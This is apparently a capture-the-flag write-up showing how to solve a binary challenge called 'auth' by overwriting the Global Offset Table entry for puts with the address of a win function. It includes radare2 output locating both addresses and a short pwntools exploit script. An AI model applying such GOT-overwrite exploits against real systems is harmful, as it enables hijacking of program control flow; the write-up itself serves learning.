For this problem, we got one 4 byte write and we need to call the `win` function. As you can see, `puts` and `exit` are the only two functions called after the write, so we need to change the behavior of one of the two functions. Because aslr is enabled, we need to look for things that stay constant. One of these things is the Global Offset Table. The Global Offset Table is the thing that allows a c program to call libc libraries and serve as a jumping point for the program. If we modify this jumping point, we can make the program execute code at a different address than intended.

Our first step will be to extract the GOT address of the `puts` function and the address of the `win` function. This could be easily done with radare2:

```
$ r2 ./auth
[0x08048450]> aaaa
...
[0x08048450]> afl
...
0x080483d0    1 6            sym.imp.puts
...
0x0804854b    1 25           sym.win
...
[0x08048450]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
|   sym.imp.puts (const char *s);
|           ; CALL XREFS from sym.main (0x80485aa, 0x80485f1, 0x804863c, 0x804865c)
\           0x080483d0      ff250ca00408   jmp dword [reloc.puts]      ; 0x804a00c
```

As you can see, the address for the `win` function is `0x0804854b` and the GOT address of the `puts` function is `0x804a00c`. Now with the two values (if you recompile the binary, they might be different), we can quickly write a script to spawn a shell and retrieve the flag:

```
from pwn import *

putsGOT = '0804a00c'
winAddr = '0804854b'

io = process('./auth’)

io.sendlineafter('?\n', putsGOT)
io.sendlineafter('\n', winAddr)

io.interactive()
```